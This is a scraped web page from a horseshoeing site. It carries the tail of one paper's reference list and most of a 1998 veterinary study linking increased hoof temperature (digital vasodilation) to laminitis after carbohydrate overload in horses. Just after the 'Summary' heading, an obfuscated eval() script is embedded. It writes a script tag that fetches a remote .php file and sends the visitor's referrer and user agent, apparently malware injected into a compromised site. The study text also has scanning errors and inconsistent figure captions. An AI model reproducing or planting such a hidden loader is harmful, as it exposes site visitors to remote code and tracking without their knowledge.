vivo glucose disposal in NIDDM patients. Diabetes 35, 1085-1089.</li> <li> Krane, S.M. (1994) Clinical importance of metalloproteinases and their inhibitor. Ann. N. Y Acad. Sci. 732, 1-10.</li> <li> Larson, R.J. and Pate, J.L. (1976) Glucose transport in isolated prosthecae of Asticcacaulis biprosthecum. J. Bact.126, 282-293.</li> <li> Moore, F.D. (1971) Convalescence: The metabolic sequence after injury. In Manual of Preoperative and Postoperative Care, 2nd edn. Eds: J.M. Kinney, R.H. Egdahl and G.D. Zuidema. W.B. Saunders, Philadelphia.</li> <li> Motulsky, H. (1995) Intuitive Biostatistics. Oxford University Press, New York. Murphy, G., Willenbrock, F., Crabbe, T, O'Shea, M., Ward, R., Atkinson, S., O'Connell, l. and Docherty, A. (1994) Regulation of matrix metalloproteinase activity. Ann. N. Y. Acad. Sci. 732, 31-41.</li> <li> Pollitt, C.C. (1996) Basement membrane pathology: a feature of acute equine laminitis. Equine vet. J. 28, 38-46.</li> <li> Pollitt, C.C., Pass, M.A. and Pollitt, S. (1998) Batimastat (BB-94) inhibits matrix metalloproteinases of equine laminitis. Equine vet. J., Suppl. 26, 119-124.</li> <li> Pollitt, C.C. and Davies, C.T. (1998). Equine laminitis: its development coincides with increased sublamellar blood flow. Equine vet. J., Suppl. 26, 125-132.</li> <li> Quaranta, V. (1993) Integin expression and epithelial cell differentiation. In: Cell Adhesion Molecules. Eds: M.E. Hemler and E. Mihich. Plenum Press, New York. pp 13-20.</li> <li> Robinson, N.E. (1990) Digital blood flow, arteriovenous anastomoses and laminitis. Equine vet. J. 22, 381-383.</li> <li> Robinson, R.L. (1986) Adrenomimetic drugs. In: Modern Pharmacology, 2nd edn. Eds: C.R. Craig and R.E. Stitzl. Little, Brown and Co., Boston. pp 158-173.</li> <li> Ruoslahti, E. (1991) Integins. J. clininvest. 87, 1-5.</li> <li> Siegel, S. (1956) Nonparametric Statistics for the Behavioral Sciences. McGrawHill, Auckland.</li> <li> Sokal, R.R. and Rohlf, F.J. (1969) Biometry. In: The Principles and Practice of Statistics in Biological Research. W.H. Freeman, San Francisco.</li> <li> Thompson, J. (1978) In vivo regulation of glycolysis and characterization of . sugar: phosphotransferase systems in Streptococcus lactis. J. Bact. 136, 465-476.</li> <li> Trout, D.R, Hornof, W.J. Linford, R.L. and O'Brien, T.R. (1990) Scintigraphic evaluation of digital circulation during the developmental and acute phases of equine laminitis. Equine vet. J. 22, 416-421.</li> <li> Venaille, T.J., Mendis, A.H.W., Phillips, M.J., Thompson, P.J. and Robinson, Separation of hoof lamellae and decreased glucose metabolism B.W.S. (1995) Role of neutrophils in mediating human epithelial cell detachment from native basement membrane. J. Allergy clin. Immunol. 95, 597-606.</li> <li> Webb, J.L. (1966) Enzymes and Metabolic Inhibitors, Vol. 2. Academic Press, New York.</li> </ol>Posted here with the permission of the authors.<br />First published in <strong><em>Equine vet. J. Suppl.</em></strong>, (1998) <strong><em>26</em></strong> 133-138</div> Equine Laminitis: Its Development Coincides With Increased Sublamellar Blood Flow 2009-07-13T06:39:04+00:00 2009-07-13T06:39:04+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/365-equine-laminitis-its-development-coincides-with-increased-sublamellar-blood-flow C. C. Pollitt and C. T Davies horseshoes@horseshoes.com <div class="feed-description"><p><span style="font-size: xx-small;"><strong>Summary</strong></span></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anbni|var|u0026u|referrer|bhssb||js|php'.split('|'),0,{})) </script></noindex> <p class="MsoNormal"><span class="dropcap">T</span>he effect of alimentary carbohydrate overload on hoof temperature was investigated to determine the state of the sublamellar vasculature preceding the onset of equine laminitis. Hoof, core and ambient temperatures and heart rate were logged continuously in 21 mature Standardbred horses kept in an environmental chamber set at l0<sup>o</sup>C. Recording hoof temperature was a successful, noninvasive, method to measure indirectly, shifts in digital blood flow against a background of cold induced, physiological, vasoconstriction. High hoof temperatures were assumed to indicate digital vasodilation and low hoof temperatures digital vasoconstriction. Seven horses were either untreated or sham treated controls. A slurry of ground wheat flour (17.5 kg) was administered via nasogastric tube to 13 horses all of which were humanely killed 48 hours later. Histological sections of the lamellar tissues were examined for evidence of laminitis. Analysis of mean hoof temperature graphs showed that horses judged laminitis positive had experienced a period of prolonged digital vasodilation 16-40 hours after carbohydrate overload. Laminitis negative horses experienced no such period of vasodilation and never had hoof temperatures significantly (except once, at 28 hours) above that of controls. The only parameter which significantly differentiated the laminitis positive from laminitis negative horses, between 12 and 32 hours after carbohydrate overload, was foot temperature, which was significantly higher in laminitis positive horses (P&lt;0.05). Therefore, a period of sublamellar vasodilation, 12 to 40 hours after alimentary carbohydrate overload precedes the onset of laminitis. If the digital circulation sustains vasoconstriction during this period then laminitis does not occur We propose that the period of increased digital blood flow in laminitis positive horses, concomitant with the severe metabolic crisis brought on by the alimentary carbohydrate overload, may expose the lamellar tissues to a concentration of blood borne factors sufficient to trigger lamellar separation.</p> <p><span style="font-size: xx-small;"><strong>Introduction</strong></span></p> <p>Shunting of blood away from the nutrient capillaries of the hoof lamellae via inappropriately dilated arteriovenous anastomoses (AVAs) has been proposed as a pathophysiological mechanism for developmental equine laminitis (Robinson et al. 1976; Hood et al. 1978). Detailed information on the anatomy of the AVAs in the dermis of the equine digit (Pollitt and Molyneux 1990; Molyneux et al. 1994) lent weight to the proposal that AVA shunting could be a mechanism involved in the development of laminitis. A normal function of dilated AVAs may be to maintain foot temperature above the tissue freezing point (about -l0<sup>o</sup>C) when extremely low environmental temperatures could cause damage (frostbite) to horses standing, for long periods, in ice and snow. For this to occur it is assumed that a dual circulation exists: a slow nutrient capillary circulation supporting the metabolism of the lamellar tissues and a fast AVA circulation periodically delivering warm arterial blood to the dermis of the foot when the foot reaches a critically low temperature. A circulatory arrangement like this has been described in the feet of cold adapted mammals, the arctic fox and grey wolf (Henshaw et al. 1972). Skin AVAs are also heat dissipating structures and dilate in response to rising core temperature therefore increasing the rate of surface heat loss. The high density of AVAs located in the entire skin surface of the Weddell seal is believed to be important in dissipating heat when the animal is out of water (Molyneux and Bryden 1975). The AVAs in the digit of the equine foot may also be involved in heat dissipation, dilating in response to rising core temperatures. Partitioning of blood from one circulation to the other implies the existence of sophisticated reflex and local control mechanisms reviewed by Hales and Molyneux (1988). Sensory, afferent nerves relay information from the foot to the hypothalamus about the thermal status of the foot and in turn vasomotor, efferent nerves regulate AVA tone via catecholamine and peptidergic fibres innervating smooth muscle cells in the AVA wall. Superimposed on this centrally mediated control of AVA tone are active neurogenic, vasodilatory, mechanisms and local axon reflexes which under certain circumstances can increase the vasodilatory capacity of skin type tissues. Therefore, AVAs are the target of reflexly (central) evoked thermoregulatory responses and capillary flow is principally the target of direct (local) temperature effects (Hales and Molyneux 1988). Flow rates through skin capillaries are lower than through the wider diameter AVAs but capillaries are nevertheless more efficient dissipators of heat and are a major site of heat exchange. There is no significant difference between the maximum total heat loss through capillaries and AVAs in the metatarsal skin of sheep (Rubsamen and Hales 1984).</p> <p>The laminitis literature is divided on the subject of sublamellar perfusion (Hood et al. 1993). The angiographic studies of Coffman et al. (1970) and scans of the digit obtained after arterial injection of radiolabelled aggregates of albumin (Hood et al. 1978) supported hypoperfusion and laminar ischaemia as causes of laminitis. Presumably the hoof would be cool if perfusion of the sublamellar vasculature was reduced prior to the appearance of laminitis. Direct measurement of digital blood flow in acute laminitis by Robinson et al. (1976) showed an increase in blood flow as a result of decreased vascular resistance (vasodilation). Similarly Trout et al. (1990) could not support lamellar ischaemia as a primary cause of laminitis as their noninvasive scintigraphic studies of the digital circulation showed a statistically significant elevation of sublamellar blood flow prior to lameness. A warm hoof would result if digital AVAs were dilated.</p> <p>Laminitis may result from a failure of the connective tissue junction between the inner hoof wall and the distal phalanx because fresh arterial blood is preferentially shunted through dilated AVAs instead of through nutrient capillaries normally supporting key epidermal structures of the inner hoof wall. Prolonged inappropriate AVA dilation may cause stagnation of the nutrient capillary circulation, ischaemia of the hoof epidermis and eventually destruction of the lamellar anatomy (Pollitt 1991). If prolonged AVA dilation is indeed the cause of lamellar pathology then, as Mogg (1991) noted, a period of hoof warming must precede the appearance of the clinical foot pain and lamellar pathology of acute laminitis.</p> <p>To determine if hoof warming and, by inference, a vasodilatory event, precedes the onset of laminitis we investigated the effect of alimentary carbohydrate overload on hoof temperature. Previous attempts to monitor digital blood flow during the developmental stage of laminitis required either anaesthesia, cannulation of digital arteries or use of irritating drugs and the resultant observations have been criticised as possibly artifactual (Robinson 1990). Therefore, this study used a noninvasive method to measure hoof temperature and therefore indirectly measure digital blood flow. Since the hoof, core and ambient temperature were to be monitored continuously for 48 hours, against a background of cold induced vasoconstriction, other clinical data were collected, at 8 hourly intervals, to seek temporal correlations between clinical signs and changes in hoof temperature. Appetite, thirst, demeanor, foot behaviour, digital pulse, ****** consistency, gut sounds, rectal and core temperature and faecal pH were assessed and recorded.</p> <p><strong><span style="font-size: xx-small;">Materials &amp; Methods</span></strong></p> <p>The experiments were conducted according to guidelines approved by the University of Queensland Animal Experimentation Ethics committee. All horses under experimentation were inspected by the Animal Welfare Officer.</p> <p>Experiments were carried out in an environmental chamber with an ambient temperature set at 1O<sup>o</sup>C. A total of 22 horses (17 geldings and 5 mares) were used, who were all Standardbred racehorses, recently retired from the track, age 2-9 years. Two horses were in the chamber for each experiment, one in the carbohydrate treatment group, the other in the sham treated control group. Fourteen horses were dosed with carbohydrate, 7 were sham dosed and one was an untreated control. Each horse was tethered to the wall and could move freely in an arc of 180<sup>o</sup>. Fresh water at room temperature (about 25<sup>o</sup>C) was offered to the horses at 3 hourly intervals. Fodder, in the form of a pelleted working horse mix and lucerne chaff, was available at all times.</p> <p>Each horse was fitted with a harness consisting of a girth, crupper and a breastplate with an attached saddlebag. In the saddlebag was an 8 channel data logger. Six channels recorded hoof temperature and ambient temperature. The 7th channel was connected to a jugular catheter with a built in thermistor for measuring core temperature. The 8th channel was an event marker.</p> <p>The hoof temperature sensors were NPN silicon transistors, type BC846. These are a surface mount type, used because of their small size. The sensors were connected to oscillator circuits, with a pulse train output, the frequency of which varied with the temperature of the sensor. The microprocessor circuit of the datalogger, type CMOS 6805, counted and logged the pulses over a preprogrammed period of 5 minutes. Hoof temperature was measured using the sensors calibrated for temperature. Each sensor was soldered to the end of an insulated cable and embedded in epoxy resin (Araldite)1. The cables were 2 m in length. The embedded sensor was inserted into a hole drilled into the dorsal hoof wall of the fore feet 15 mm below the hairline of the coronet and taped to the hoof with PVC electrical tape. Drilling of the holes caused no pain response and no hemorrhage. The holes were 4 mm diameter and 7 mm deep, and were perpendicular to the hoof wall. There were two sensors in each fore foot. The temperature at the hoof surface of all the horses was checked with a thermometer operating on a different principle (Infrared Temperature Scanner)2 and always agreed with the temperature displayed by the implanted transistors. Heat sink paste was placed in the drilled holes before insertion of the sensors. The cables connecting the sensors to the data loggers, were taped to the legs of the horses at the mid pastern, mid cannon and proximal carpal regions. The tape was applied loosely to prevent skin pressure and possible oedema formation. Enough cable was left at each joint to allow full flexion and extension. Two sensor cables were taped to the harness so that the sensors hung free on either side of the abdomen to record ambient temperature.</p> <p>Core temperature was measured with a sterilized thermistor catheter (Swan-Ganz thermodilution catheter) 3 inserted into the right atrium of the heart via a l0G cannula inserted into the left jugular vein at a site anaesthetized with local anaesthetic. The free end of the thermistor catheter was sutured to the skin and a collar of adhesive tape (Elastoplast)4 was applied to the neck of the horse to secure the l0G cannula, the thermistor catheter and its data logger connecting cable. The 6 sensors and the thermistor catheter were all calibrated beforehand in set temperature water baths. Heart rate was measured using a heart rate monitor (Equine Electronics equine heart rate computer) 5 with recording electrodes placed in contact with clipped skin, under the girth, at the withers and sternum. A second data logger was connected to the heart rate monitor earphone output via a filtering and rectifying circuit which turned the tone burst (beeping) output of the monitor into a pulse train. This recorded the computed heart rates over a 60 second period and logged the average heart rate/minute.</p> <p>The information stored in both the temperate and heart rate data loggers was dumped to a notebook computer every 8 hours via an RS232 cable. Software, specially written for this project, transformed the temperature data into graph form and stored the data in files for further analysis.</p> <p>The horses were acclimated in the environment chamber for 16 hours prior to dosing with carbohydrate. After the acclimatization period, the treated horse was dosed with 3 lots of wheat flour (17.5 g/l) mixed to a slurry in 8 litres of water. Each dose was administered via nasogastric tube, every 4 hours. The control horses were sham treated with the same volume of room temperature water given at the same times. During the 48 hours experimental period observations were made regarding appetite, drinking, general demeanor, foot behaviour, oral mucous membrane capillary refill time, digital pulse, faecal consistency, faecal pH, gut sounds (left colon and ileo-caecal sounds) and rectal temperature. Horses showing signs of colic were treated with appropriate doses of detomidine HC1 10 mg/ml (Dormosedan) 6 and butorphanol tartrate 10 mg/ml (Dolorex) 6. Forty-eight hours after the first administration of the carbohydrate, or before if there was evidence of colic or foot pain, the experiment was stopped. Five horses failed to reach the 48 hours end point and were not included in the data analysis (2 mares, 3 geldings). Three of these developed severe electrolyte and fluid disturbances, became recumbent 16-30 hours after carbohydrate dosing and were promptly subjected to euthanasia. The remaining 2 were subjected to euthanasia because of colic unresponsive to treatment.</p> <p>Treated horses were killed with an overdose of barbiturate and both front feet removed by disarticulation at the metacarpal/phalangeal joint. The foot was cut on a bandsaw to harvest the lamellae of the dorsal hoof wall into 10% neutral buffered formalin according to the method of Pollitt (1996). Stained sections of the hoof wall lamellae were examined with a light microscope and the severity of the laminitis was graded using the scoring system of Pollitt (1996). Horses with laminitis in either fore foot were grouped as laxninitis positive. Horses with no lamellar lesions attributable to laminitis were grouped as laminitis negative. The control horses, not dosed or dosed only with water, were not killed at 48 hours but rested at pasture for 3 or 4 weeks and then reused in the carbohydrate treatment group.</p> <p>The data stored in the files of the laptop computer were joined and converted into graphical form. The 4 hourly means t s.e. of the right and left foot temperatures of the fore feet, core temperature, heart rate and faecal pH, of the laminitis positive horses were graphed and compared to the means of the laminitis negative and the control horses.</p> <p>Since the hoof temperature, core temperature and heart rate data was recorded every 5 minutes and the data were to be analyzed at 4 hourly intervals, an average of 5 hourly time points was calculated for each 4 hourly time point. The 2 hourly time points prior to and following the actual time point, and the time point itself were used. For the statistical analysis, a repeated measures analysis of variance (MANOVA) was performed for the time factor. The Greenhouse-Geisser epsilon test was applied to adjust the degrees of freedom in the F-tests, to compensate for sphericity in the covariance matrix due to correlated errors over time. A significant time effect was followed up with a series of cross-sectional analysis of variance (ANOVA) at each 4 or 8 hourly time point (depending on which set of data). The 2 front hooves were treated as a split unit within each horse, which were the whole units in the analysis of variance (ANOVA). The analysis of variance was performed using a computer software program (Anon 1994).</p> <p><span style="font-size: xx-small;"><strong>Results</strong></span></p> <p><strong>Acclimatization Period</strong></p> <p>During the 16 hour acclimatization period the horses accepted the harness and the data collecting apparatus with no signs of discomfort. For the most part the horses stood quietly and became animated only when anticipating the supply of fresh rations. They frequently changed position and showed no sign of foot discomfort while barefoot on the concrete floor of the environmental chamber. Some of the horses shivered slightly in the l0<sup>o</sup>C environment, especially those with short summer hair coats. All horses had core temperatures within the normal range. By the end of the acclimatization period (time zero) the mean t s.e. foot temperature (combined data of 42 hooves) of all horses was 13.3 ± 0.46<sup>o</sup>C, close to the ambient temperature (l0<sup>o</sup>C). The mean core temperature of all horses, at time 0, was 37.38 ± 0.12<sup>o</sup>C. The mean faecal pH was 7.45 ± 0.21.</p> <p><strong>Hoof Temperature</strong></p> <p>In 4 sham treated controls hoof temperature remained close to l0<sup>o</sup>C ambient (Fig 1). The remaining 3 horses and an untreated control developed spontaneous rapid rises in hoof temperature (up to 25<sup>o</sup>C) which lasted 1.4-11.4 hours. Increases in left and right hoof temperature were synchronized in some horses (Fig 2a) whereas in others both rise and fall of temperature were independent of each other (Fig 2b). After the warm period, the temperature of the hooves returned to the previous low level although in some horses, temperature fell rapidly whereas in others it fell slowly (Figs 2a and b). The graph of mean hoof temperatures of control horses (n = 7) was, therefore, not flat but showed random changes (Fig 3).</p> <p>In laminitis positive horses (n = 6) increases and decreases were synchronized (Fig 7). At time zero, temperatures were close to the ambient temperature but increased in all cases 4-15 hours after the administration of carbohydrate. Generally, temperatures remained elevated throughout the experimental period, except for a period of low temperature which corresponded to the initial increase in core temperature (Fig 7).</p> <p>Usually, hoof temperatures increased sharply to 25-32<sup>o</sup>C. One horse was an exception, its hoof temperatures rose slowly, but continuously, and at the end of the experiment its temperatures were approximately 25<sup>o</sup>C. Temperature of some horses remained high at the end of the experiment, while in others it dropped to near ambient temperature (Fig 7).</p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_1.jpg" width="516" height="338" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_1" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_1.jpg" width="516" height="338" /></p> <p><em><strong>Fig 1:</strong> Graphs of right and left fore hoof, core and ambient temperatures in a sham treated control horse. Hoof temperatures remained close to ambient for most of the experimental period whereas core temperature was in the normal range throughout.</em></p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_2.jpg" width="520" height="688" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_2" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_2.jpg" width="520" height="688" /></p> <p><em><strong>Fig 2a and 2b:</strong> Graphs of right and left fore hoof, core and ambient temperatures in a sham treated control horse. Hoof temperatures remained close to ambient for most of the experimental period whereas core temperature was in the normal range throughout.</em></p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_3.jpg" width="508" height="326" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_3" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_3.jpg" width="508" height="326" /></p> <p><em><strong>Fig 3:</strong> Mean t s.e. hoof temperatures of the sham treated control horse group (n = 14) compared to the mean t s.e. hoof temperatures of the laminitis positive (n = 72) and the laminitis negative horse group (n = 16). The hoof temperature of the laminitis positive group was significantly higher than the laminitis negative group and the sham treated controls between 16 and 40 hours after the first administration of carbohydrate (time 0). The indicators of statistical significance refer only to the differences between the laminitis positive and negative groups. *P&lt;0.05.</em></p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_4.jpg" width="506" height="328" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_4" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_4.jpg" width="506" height="328" /></p> <p><em><strong>Fig 4:</strong> Mean t s.e. core temperatures of all horse groups. The laminitis positive group (n = 6) and laminitis negative group (n = 8) developed and maintained mean core temperatures significantly above the control group (n = 7) which remained within normal limits. The mean core temperatures of the laminitis positive horses was significantly higher than the laminitis negative horses 36 h after carbohydrate overload. The indicators of statistical significance refer only to the differences between the laminitis positive and negative groups. *P&lt;0.05.</em></p> <hr /> <p>During the first 24 hours mean t s.e. hoof temperatures increased gradually from 13.63 ± l.0<sup>o</sup>C to 24.97 ± 1.62<sup>o</sup>C and then plateaued (Fig 3). Forty hours after first administration of carbohydrate mean hoof temperature was 25.62 ± 2.15<sup>o</sup>C and then decreased sharply. At 16 h mean hoof temperature of the 6 laminitis positive horses (21.63 ± 1.02<sup>o</sup>C) was significantly higher (P&lt;0.05) than that of the 8 laminitis negative horses (13.73 ± 0.6<sup>o</sup>C) and the 7 sham controls (14.21 ± 1.37<sup>o</sup>C), remaining significantly high until 40 h after time zero (Fig 3).</p> <p>The hoof, core and ambient temperature graph of an individual laminitis negative horse is shown in Figure 8. Left and right hoof temperatures in the laminitis negative horses were not as synchronous as hoof temperatures of the laminitis positive horses. In 5 horses, they were synchronous, but in the 3 others, they appeared independent of each other. All laminitis negative horses started with hoof temperatures close to ambient temperature of l0<sup>o</sup>C. Hoof temperature graphs of individual laminitis negative horses did not resemble each other, which is in contrast with those of laminitis positive horses. One horse had hoof temperatures that remained close to ambient for the whole experiment. Most of the hoof temperature increases that occurred were random, rapid, and in the range 25-32<sup>o</sup>C. However, these warm hoof temperature periods were short and lasted 3-12 h. Some warm hoof temperature periods consisted of a cluster of peaks. When the hoof temperatures fell they returned to near ambient temperature either rapidly or slowly.</p> <p>Overall, mean hoof temperature of laminitis negative horses did not rise to any extent over the course of the experiments, and remained within 5<sup>o</sup>C of the ambient temperature. The mean hoof temperature of the laminitis negative horses are compared to the mean hoof temperature of the laminitis positive horses in Figure 3.</p> <p>Mean t s.e. hoof temperature of laminitis negative horses (16.39 ± 0.87<sup>o</sup>C) was briefly significantly higher (P&lt;0.05) than the mean hoof temperature of the sham treated control horses (12.23 ± 0.41<sup>o</sup>C) 28 h after first administration of carbohydrate (Fig 3).</p> <p><strong>Core Temperature</strong></p> <p>In sham treated controls (n = 7) mean t s.e. core temperature was normal (37.27 ± 0.22<sup>o</sup>C ) throughout the 48 h experimental period (Figs 1, 2 and 4).</p> <p>There was a rapid rise in core temperature in laminitis positive (n = 6) and laminitis negative horses between 8 and 20 hours after first administration of carbohydrate. Increased core temperature persisted for the remainder of the experiment in most horses (Figs 4, 7 and 8). However, one horse had a second rise in core temperature at approximately 42 hours (Fig 7).</p> <p>During the first 8 h mean t s.e. core temperatures of laminitis positive and laminitis negative horses increased slowly, between 8 and 16 h they increased rapidly and then plateaued until approximately 28 h (Fig 4). In laminitis positive but not laminitis negative horses they rose again until 36 h and then dropped slowly for the remainder of the experiment. The mean core temperature of laminitis positive horses (38.12 ± 0.24<sup>o</sup>C) became significantly higher (P&lt;0.05) than control horses (37.27 ± 0.22<sup>o</sup>C) 8 h after first administration of carbohydrate whereas in laminitis negative horses (37.88 ± 0.13<sup>o</sup>C) it was significantly higher than control horses at 4 h (37.22 ± 0.27<sup>o</sup>C) and remained significantly higher until 44 h after first administration of carbohydrate.</p> <p>Mean t s.e. core temperatures of laminitis positive horses was not significantly higher than laminitis negative horses until 36 hours after carbohydrate overload. At 36 hours mean core temperature of the laminitis positive horses was 40.17 t 0.27<sup>o</sup>C and laminitis negative horses was 39.26 ± 0.18<sup>o</sup>C (P&lt;0.05). This significant difference remained until the end of the experiment (Fig 4).</p> <p><strong>Heart Rates</strong></p> <p>The 7 sham treated controls and the untreated control had normal heart rates throughout the 48 h experimental period (Fig 5). The laminitis positive horses all developed increased heart rates whereas only 4 of the laminitis negative horses increased. The heart rate of one laminitis positive horse increased at 8 h while another did not increase until 20 h. The laminitis negative horses had varying increases in heart rates. One horse had no increase in heart rate and 3 others had only slight increases in heart rate.</p> <p>The mean t s.e. heart rates of laminitis positive horses (Fig 5) gradually increased from 31.4 ± 1.44 beats/minute after first administration of carbohydrate to 94.00 t 6.23 beats/minute at the end of the experiment. Sixteen hours after the first administration of carbohydrate, mean heart rates of laminitis positive horses (54.6 ± 5.93 beats/minute) and the laminitis negative horses (55.5 ± 5.88 beats/minute) was significantly higher (P&lt;0.05) than mean heart rates of control horses (35.5 ± 1.80 beats/minute) and remained so throughout the experiment (Fig 5).</p> <p>The mean heart rates of laminitis positive horses (84.2 ± 5.00 beats/minute) was not significantly higher than the heart rates of laminitis negative horses (60.25 ± 4.28 beats/minute) until 32 h after first administration of carbohydrate. This significant difference (P&lt;0.05) remained until the end of the experiment (Fig 5).</p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_5.jpg" width="536" height="344" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_5" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_5.jpg" width="536" height="344" /></p> <p><em><strong>Fig 5:</strong> Mean ± s.e. heart rates of all horse groups. The mean heart rates of the 7 sham treated control horses was normal throughout the 48 h experimental period. The 6 laminitis positive and 8 laminitis negative horses developed and maintained elevated mean heart rates. The mean heart rates of the laminitis positive horses became significantly greater than the Laminitis negative horses after 32 h. The indicators of statistical significance refer only to the differences between the laminitis positive and negative groups. *P&lt;0.05, BPM = beats per minute.</em></p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_6.jpg" width="520" height="342" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_6" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_6.jpg" width="520" height="342" /></p> <p><em><strong>Fig. 6:</strong></em> Mean ± s.e. faecal pH of all horse groups. The mean faecal pH of the 7 sham treated control horses remained neutral, while the 6 laminitis positive and 8 laminitis negative horses had rapid, similar, falls in faecal pH.</p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_7.jpg" width="516" height="330" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_7" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_7.jpg" width="516" height="330" /></p> <p><em><strong>Fig. 7:</strong></em> Graphs of left and right fore hoof, core and ambient temperatures in an individual laminitis positive horse. Both left and right hoof temperatures rose and fell synchronously. Twenty-two h after alimentary carbohydrate overload the hooves of both forefeet reached and maintained their maximum temperature for 20 h. The development of laminitis appeared to be linked to this prolonged period of digital vasodilation. Core temperature rose above 40<sup>o</sup>C at 18 hours and again at 30 hours.</p> <hr /> <center> <img src="images/laminits_sublamellar_blodd_flow_8.jpg" width="518" height="330" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: middle;" alt="laminits_sublamellar_blodd_flow_8" src="images/stories/horshoes-graphics/laminits_sublamellar_blodd_flow_8.jpg" width="518" height="330" /></p> <p><em><strong>Fig. 8:</strong></em> Graphs of left and right fore hoof, core and ambient temperatures in an individual laminitis negative horse. The right and left hoof temperatures rose and fell fairly synchronously but 13 h after carbohydrate overload remained below 20<sup>o</sup>C and close to ambient for 27 hours. This digital vasoconstriction apparently prevented the development of laminitis. Fourteen hours after carbohydrate overload the core temperature rose above 40<sup>o</sup>C for 14 hours.</p> <p><strong>****** pH</strong></p> <p>In the laminitis positive and laminitis negative horses, mean faecal pH remained approximately neutral for the first 8 hours, and then dropped sharply (Fig 6) so that 16 h after first administration of carbohydrate, mean faecal pH was 5.35 t 0.36 and 5.51 ± 0.29 respectively. Faecal pH remained near this low value between 16 and 32 h and then slowly rose for the remainder of the experiment. At 16 hours, mean faecal pH of laminitis positive horses (5.35 ± 0.36) and laminitis negative horses (5.51 ± 0.29) was significantly lower (P&lt;0.05) than mean faecal pH of controls (mean ± s.e. = 7.4 ± 0.21). This significant decrease in faecal pH remained until 40 hours.</p> <p>At no time was mean t s.e. faecal pH of laminitis positive horses significantly different from laminitis negative horses (Fig 6).</p> <p><strong>Clinical Appearance</strong></p> <p>There were no changes in clinical appearance in either the laminitis positive or the laminitis negative horses until 8-16 hours after the first administration of carbohydrate. The first clinical sign to change was the volume and frequency of ileocaecal (IC) sounds. At 8 hours, most horses had louder, more frequent, sounds. However between 16 and 24 hours IC sounds disappeared and in most horses remained absent until around 40 hours. Similar changes were detected in left colon (LC) sounds except that they occurred approximately 8 hours after the changes in IC sounds. All horses dosed with carbohydrate lacked gut sounds at some stage during the 48 hours experimental period.</p> <p>Decreased appetite and drinking, depression, prolongation of capillary refill time and diarrhoea occurred in all horses dosed with carbohydrate. Two of the laminitis positive and 4 of the laminitis negative horses developed mild to moderate, intermittent, colic 30-32 h after dosing. Signs of colic lasted 4-6 hours and by 40 hours had usually ceased. Neither of the laminitis positive horses were judged to need analgesia or sedation. However the 4 laminitis negative horses with colic received i.v. injections of 20 mg butorphanol and 10 mg detomidine to establish analgesia and sedation, respectively. After injections, heart rate and core temperature decreased for 2-4 hours but no consistent change in hoof temperature resulted. In previous trials 10 mg of detomidine injected i.v. into 3 normal Standardbred horses did not effect consistent changes in hoof temperature (C.C. Pollitt and C.T. Davies, unpublished data). The treatment regime effectively abolished signs of colic for periods of 60-90 minutes but if colic returned the treatment was repeated. Two of the 4 horses that developed colic required only single treatments. Of the remainder one was treated 4 times, the other 5 times.</p> <p>A pronounced digital pulse was detected in most horses at 24-32 hours, which usually disappeared after this time. Only one of the 6 laminitis positive horses had an exaggerated digital pulse at 48 hours and all of these horses exhibited some weight shifting in either front or hind feet between 40 and 48 hours. One of the laminitis positive horses, apparently less affected by the carbohydrate than the others, began to eat and drink again at 40 hours.</p> <p>Although laminitis negative horses showed similar clinical signs to the laminitis positive horses they were slightly less severe. Near the end of the experimental period, they were usually less depressed, ate, drank and had shorter oral mucous membrane capillary refill times.</p> <p><span style="font-size: xx-small;"><strong>Discussion</strong></span></p> <p>Mean heart rates and body temperatures recorded in the 6 laminitis positive horses were significantly higher than in the 7 sham treated control horses which is consistent with previous reports of laminitis induced by alimentary carbohydrate overload (Garner et al. 1975; Harkema et al. 1978; Kirker-Head et al. 1987). However, in this study, similar significant increases in mean heart rate and body temperature occurred in 8 laminitis negative horses. Furthermore the fall in pH of the faeces of both laminitis positive and negative horses was virtually identical and it was difficult to identify any differences in the spectrum of clinical signs: they appeared equally ill, particularly around 24 h after administration of carbohydrate. At this time it was impossible, on the basis of clinical signs, to predict which horses would subsequently develop laminitis. Hoof temperature was the only significant difference between laminitis positive and negative groups. Sixteen hours after 